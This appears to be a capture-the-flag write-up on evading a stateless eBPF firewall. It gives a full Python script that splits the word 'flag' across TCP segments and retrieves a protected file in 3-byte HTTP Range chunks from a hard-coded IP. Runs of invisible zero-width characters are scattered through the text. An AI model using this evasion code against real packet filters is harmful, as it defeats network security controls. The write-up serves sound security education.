← Back to Writeups
CUSTOMMediumCrypto

Firewall

XESXOR9/2/20263 min read
#crypto#custom#medium#http_range_request#packet_filter_evasion#tcp_segmentation_bypass

Firewall

Platform: CUSTOM | Category: Crypto | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: http_range_request, packet_filter_evasion, tcp_segmentation_bypass

Summary

Walkthrough of the CUSTOM Crypto Firewall. Task: Web server behind an eBPF/TC firewall that blocks packets containing "flag" or "%" with per-packet stateless inspection. Solution: Bypassed the ingress filter by splitting "flag" across two TCP

Description

"Free flag at /flag.html"

Target: http://35.227.38.232:5000

Provided files: firewall.zip containing Dockerfile, entrypoint.sh, firewall.c, flag.html, index.html

Analysis

The challenge implements an eBPF firewall using TC (Traffic Control) that filters both ingress and egress traffic. The firewall.c code shows:

  1. Blocks any TCP packet containing the string "flag" (4 bytes)
  2. Blocks any TCP packet containing the character '%' (to prevent URL encoding bypass)
  3. Blocks IP fragmentation
  4. Blocks IPv6 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The filter checks the entire TCP payload (including TCP header) for these patterns.

The Problem

When trying to access /flag.html directly:

  • Ingress block: Request contains "flag" in the URL path
  • Egress block: Response contains the flag string

Even if the request somehow gets through, the response containing the flag would be blocked on egress.

Key Vulnerability

The eBPF filter inspects each packet individually without maintaining state across packets. This is a fundamental limitation of stateless packet filtering. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Bypass Ingress Filter (Request)

Used TCP segmentation to split "flag" across multiple TCP segments:

  • Send GET /fla in first TCP segment
  • Send g.html HTTP/1.1\r\n... in second TCP segment
  • Small delay between sends ensures separate packets
python
part1 = b'GET /fla'
part2 = b'g.html HTTP/1.1\r\nHost: ...\r\nConnection: close\r\n\r\n'

s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)  # Disable Nagle's algorithm
s.send(part1)
time.sleep(0.02)  # Force packet separation
s.send(part2)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The TCP_NODELAY option disables Nagle's algorithm, ensuring each send() creates a separate packet. The small delay guarantees the first packet is transmitted before the second.

Step 2: Bypass Egress Filter (Response)

Used HTTP Range requests with 3-byte chunks. Since "flag" is 4 bytes, it can never appear in a 3-byte response:

python
for start in range(0, 213, 3):
    end = min(start + 2, 212)
    range_header = f'bytes={start}-{end}'
    # Send request with Range header
    # Collect 3-byte chunks

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Each response body is at most 3 bytes, making it impossible for the 4-character pattern "flag" to exist in any single packet.

Full Solution Code

python
#!/usr/bin/env python3
import socket
import time

TARGET = '35.227.38.232'
PORT = 5000

def send_request(range_header):
    """Send segmented request with Range header"""
    part1 = b'GET /fla'
    part2 = f'g.html HTTP/1.1\r\nHost: {TARGET}:{PORT}\r\nRange: {range_header}\r\nConnection: close\r\n\r\n'.encode()
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
    s.settimeout(5)
    
    try:
        s.connect((TARGET, PORT))
        s.send(part1)
        time.sleep(0.02)  # Force packet separation
        s.send(part2)
        
        response = b''
        while True:
            try:
                data = s.recv(4096)
                if not data:
                    break
                response += data
            except socket.timeout:
                break
        return response
    except Exception as e:
        print(f"Error: {e}")
        return b''
    finally:
        s.close()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# First, determine file size (or use known size: 213 bytes)
FILE_SIZE = 213

# Get file in 3-byte chunks to bypass egress filter
result = b''
for start in range(0, FILE_SIZE, 3):
    end = min(start + 2, FILE_SIZE - 1)
    response = send_request(f'bytes={start}-{end}')
    
    if response and b'\r\n\r\n' in response:
        headers, body = response.split(b'\r\n\r\n', 1)
        result += body
        print(f"[+] Got bytes {start}-{end}: {body}")
    
    time.sleep(0.05)  # Rate limiting

print("\n=== Full Response ===")
print(result.decode())

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Why It Works

Filter LimitationBypass Technique
Per-packet inspectionTCP segmentation splits keywords
No stream reassemblyEach packet checked independently
Fixed pattern matching3-byte chunks < 4-byte pattern
Stateless filteringNo correlation between packets

The eBPF filter sees:

  • Packet 1: GET /fla - no "flag" pattern
  • Packet 2: g.html HTTP/1.1... - no "flag" pattern
  • Response packets: 3 bytes each - can never contain "flag" ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

References

Key Takeaways / Lessons

  • Mastering http_range_request, packet_filter_evasion, tcp_segmentation_bypass was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-01-10 • CUSTOM • Firewall • Difficulty: Medium